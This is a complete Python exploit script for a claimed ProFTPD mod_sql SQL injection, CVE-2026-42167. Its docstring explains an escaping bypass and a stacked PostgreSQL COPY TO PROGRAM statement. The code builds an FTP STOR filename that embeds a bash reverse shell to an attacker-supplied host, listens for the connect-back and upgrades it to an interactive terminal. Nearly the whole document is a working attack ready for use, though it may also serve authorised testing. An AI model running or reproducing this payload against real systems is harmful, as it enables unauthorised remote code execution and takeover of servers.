ProFTPd 1.3.9 mod_sql SQL Injection / Remote Code Execution

#!/usr/bin/env python3
    """
    CVE-2026-42167 — ProFTPD mod_sql post-authentication SQL injection -> RCE
    
        postauth_stor_rce.py --host <ftp-host> --port 21 \
            --user <user> --password <pass> \
            --shell-host <your-ip> --shell-port 4444
    
    SUMMARY
    -------
    ProFTPD's mod_sql logs FTP activity through user-supplied SQL. Its escaping
    helper is_escaped_text() treats any value that BEGINS and ENDS with a single
    quote and contains no interior single quote as "already escaped", and passes
    it into the query verbatim. A STOR filename shaped that way therefore breaks
    out of the logging INSERT and stacks a second statement. With a PostgreSQL
    backend whose role is a superuser, that statement is COPY ... TO PROGRAM,
    which runs an arbitrary OS command.
    
        INSERT INTO xfer_log VALUES('<basename>', '<user>', now())
    
        basename = ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$<cmd>$$; --'
    
        -> INSERT INTO xfer_log VALUES('', null, null);   -- 3 cols, closed
                  COPY (SELECT $$x$$) TO PROGRAM $$<cmd>$$;   -- stacked
                  --', '<user>', now())                       -- commented out
    
    NOTE: the payload below closes a THREE-column logging INSERT ('', null, null).
    The exact column count depends on the target's SQLLog / SQLNamedQuery INSERT
    template — adjust the number of leading `, null` values so the opening
    VALUES(...) is balanced before the stacked COPY.
    
    Two constraints on the filename shape both queries around:
      * NO interior single quote  -> the injected SQL is dollar-quoted ($$...$$),
                                     never single-quoted.
      * NO forward slash '/'      -> FTP forbids it in a filename. The reverse
                                     shell needs /dev/tcp/<host>/<port>, so the
                                     slashes are produced at runtime by printf's
                                     octal escape \57 ('/').
    
    A COMMON BUG IN CIRCULATING PoCs (fixed here)
    ---------------------------------------------
    Most published PoCs build the path as one printf format string:
    
        printf "\57dev\57tcp\57<host>\57<port>"          # BROKEN
    
    printf greedily consumes up to THREE octal digits after a backslash. "\57" is
    only two, so if the very next character is itself an octal digit (0-7) it is
    swallowed into the escape:
    
        \57 + '1'  ->  \571  ->  octal 571 = 0x179 -> 0x79 mod 256 = 'y'
    
    So a host or port whose first character is 0-7 is silently corrupted — e.g. a
    host of 10.10.14.7 becomes /dev/tcpy0.10.14.7 (the leading '1' is eaten). That
    covers essentially every private-range attacker IP and most common listener
    ports, which is why the bug is easy to miss (default values often fall in the
    safe class) and painful to hit — the only symptom is a reverse shell that
    never connects.
    
    FIX (this script): keep the four literal slashes in the format string, where
    each "\57" is followed by a non-octal character, and pass the attacker-
    controlled host/port as printf ARGUMENTS instead of interpolating them into
    the format string:
    
        printf "\57dev\57tcp\57%s\57%s" "<host>" "<port>"    # CORRECT
    
    Now no user-controlled digit is ever adjacent to a "\57", so the corruption is
    structurally impossible for any host/port and on any conforming printf.
    
    CVE:      CVE-2026-42167
    SEVERITY: Critical (post-auth RCE)
    """
    
    import argparse
    import ftplib
    import io
    import os
    import select
    import signal
    import socket
    import sys
    import termios
    import threading
    import time
    import tty
    
    
    def build_payload_filename(shell_host: str, shell_port: int) -> str:
        """Return the STOR filename that stacks a reverse-shell COPY TO PROGRAM.
    
        The reverse-shell command carries the target host/port as printf arguments
        (the fix), so no octal-escape corruption is possible.
        """
        # /dev/tcp/<host>/<port> is assembled at runtime; the format string holds
        # only the slashes, the data is passed as %s arguments.
        shell_cmd = (
            f'S=$(printf "\\57dev\\57tcp\\57%s\\57%s" "{shell_host}" "{shell_port}");'
            f'bash -c "bash -i >& $S 0>&1"'
        )
        payload = (
            "', null, null); "
            f"COPY (SELECT $$x$$) TO PROGRAM $${shell_cmd}$$"
            "; --'"
        )
    
        # is_escaped_text() bypass + FTP filename rules — assert, don't hope.
        assert payload[0] == "'" and payload[-1] == "'", "must be single-quote wrapped"
        assert "'" not in payload[1:-1], "no interior single quote allowed"
        assert "/" not in payload, "no slash allowed in an FTP filename"
        return payload
    
    
    def interactive_shell(sock: socket.socket) -> None:
        """Upgrade the raw connect-back to a PTY and bridge the local terminal.
    
        The connect-back is a plain `bash -i` with stdio wired to the socket: no
        controlling terminal, so no job control and no `su`/`sudo` password prompt.
        Replacing it with util-linux `script` forks bash inside a real PTY pair and
        bridges that PTY to the inherited socket; the local terminal goes raw and
        forwards keystrokes byte-for-byte.
        """
        rows, cols = 24, 80
        try:
            size = os.get_terminal_size()
            rows, cols = size.lines, size.columns
        except OSError:
            pass
    
        sock.sendall(
            b"export TERM=xterm-256color; exec script -qc bash /dev/null\n"
        )
        time.sleep(0.4)
        sock.sendall(f"stty rows {rows} cols {cols}; clear\n".encode())
    
        def on_winch(_sig, _frame):
            try:
                sz = os.get_terminal_size()
                sock.sendall(f"stty rows {sz.lines} cols {sz.columns}\n".encode())
            except (OSError, ValueError):
                pass
    
        old_winch = signal.signal(signal.SIGWINCH, on_winch)
        old_tty = termios.tcgetattr(sys.stdin)
        try:
            tty.setraw(sys.stdin.fileno())
            while True:
                r, _, _ = select.select([sock, sys.stdin], [], [])
                if sock in r:
                    data = sock.recv(4096)
                    if not data:
                        break
                    os.write(sys.stdout.fileno(), data)
                if sys.stdin in r:
                    data = os.read(sys.stdin.fileno(), 4096)
                    if not data:
                        break
                    sock.sendall(data)
        finally:
            termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_tty)
            signal.signal(signal.SIGWINCH, old_winch)
    
    
    def main() -> int:
        p = argparse.ArgumentParser(
            description="CVE-2026-42167 ProFTPD mod_sql post-auth SQLi -> RCE"
        )
        p.add_argument("--host", required=True, help="FTP server host")
        p.add_argument("--port", type=int, default=21, help="FTP port (default 21)")
        p.add_argument("--user", required=True, help="FTP username")
        p.add_argument("--password", required=True, help="FTP password")
        p.add_argument(
            "--shell-host", required=True,
            help="Address the target connects back to (your listener)",
        )
        p.add_argument(
            "--shell-port", type=int, default=4444,
            help="Listener port (default 4444)",
        )
        p.add_argument(
            "--timeout", type=int, default=30,
            help="Seconds to wait for the connect-back (default 30)",
        )
        args = p.parse_args()
    
        print("=" * 70)
        print("CVE-2026-42167 : ProFTPD mod_sql post-auth SQLi -> RCE")
        print("=" * 70)
    
        # --- reachability + banner -------------------------------------------
        print(f"\n[*] Connecting to {args.host}:{args.port} ...")
        try:
            with socket.create_connection((args.host, args.port), timeout=8) as s:
                banner = s.recv(256).decode(errors="replace").strip()
        except OSError as e:
            print(f"[-] Connection failed: {e}")
            return 1
        if "220" not in banner:
            print(f"[-] Unexpected banner: {banner!r}")
            return 1
        print(f"[*] Banner: {banner}")
    
        payload_filename = build_payload_filename(args.shell_host, args.shell_port)
        print(f"[*] Reverse shell : {args.shell_host}:{args.shell_port}")
        print(f"[*] Payload STOR  : {len(payload_filename)} bytes (no '/', no interior quote)")
    
        # --- listener ---------------------------------------------------------
    
        try:
            srv = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
            srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            srv.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
            srv.bind(("::", args.shell_port))
        except OSError:
            srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            srv.bind(("0.0.0.0", args.shell_port))
        srv.listen(1)
        srv.settimeout(args.timeout)
        print(f"[+] Listening on 0.0.0.0:{args.shell_port}")
    
        # --- fire the injection ----------------------------------------------
        # STOR must SUCCEED for `SQLLog STOR` to fire, so the upload needs a working
        # passive data channel. The command runs during the STOR, so send it from a
        # background thread and wait for the connect-back on the main thread.
        def fire():
            time.sleep(0.5)
            try:
                ftp = ftplib.FTP()
                ftp.connect(args.host, args.port, timeout=15)
                ftp.login(args.user, args.password)
                ftp.storbinary(f"STOR {payload_filename}", io.BytesIO(b"x"))
            except Exception:
                # COPY TO PROGRAM blocks the STOR for the life of the shell, so the
                # control connection often errors out here — that is expected and
                # not a failure of the exploit.
                pass
    
        threading.Thread(target=fire, daemon=True).start()
        print("[*] Injection sent, waiting for reverse shell ...")
    
        try:
            conn, addr = srv.accept()
        except socket.timeout:
            print(f"\n[-] No connection after {args.timeout}s.")
            print("    Check: creds valid? target can reach "
                  f"{args.shell_host}:{args.shell_port} outbound? "
                  "listener port open locally?")
            srv.close()
            return 1
        srv.close()
    
        print(f"[+] Connection from {addr[0]}:{addr[1]}")
        print("=" * 70)
        print("[+] REMOTE CODE EXECUTION CONFIRMED — interactive shell follows")
        print("=" * 70 + "\n")
        try:
            interactive_shell(conn)
        except KeyboardInterrupt:
            pass
        finally:
            conn.close()
            print("\n[*] Shell closed.")
        return 0
    
    
    if __name__ == "__main__":
        sys.exit(main())